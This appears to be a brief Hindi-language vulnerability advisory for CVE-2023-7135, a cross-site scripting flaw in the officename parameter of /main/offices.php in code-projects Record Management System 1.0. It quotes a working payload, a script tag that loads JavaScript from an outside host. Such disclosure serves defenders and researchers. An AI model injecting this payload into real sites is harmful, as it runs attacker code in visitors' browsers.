CVE-2023-7135

सारांश

code-projects Record Management System 1.0 में एक समस्या के रूप में वर्गीकृत भेद्यता पाई गई है। प्रभावित घटक Offices Handler की फ़ाइल /main/offices.php में एक अज्ञात फ़ंक्शन शामिल है। officename तर्क का इनपुट "><script src="https://js.rip/b23tmbxf49"></script> के साथ हेरफेर करने से क्रॉस-साइट स्क्रिप्टिंग उत्पन्न होती है। इस हमले को दूरस्थ रूप से लॉन्च करना संभव है। यह एक्सप्लॉइट सार्वजनिक रूप से प्रकट किया गया है और इसका उपयोग किया जा सकता है। VDB-249138 इस भेद्यता को सौंपा गया पहचानकर्ता है।

• CVEsअनुसंधान

  सामान्य भेद्यताएँ और जोखिम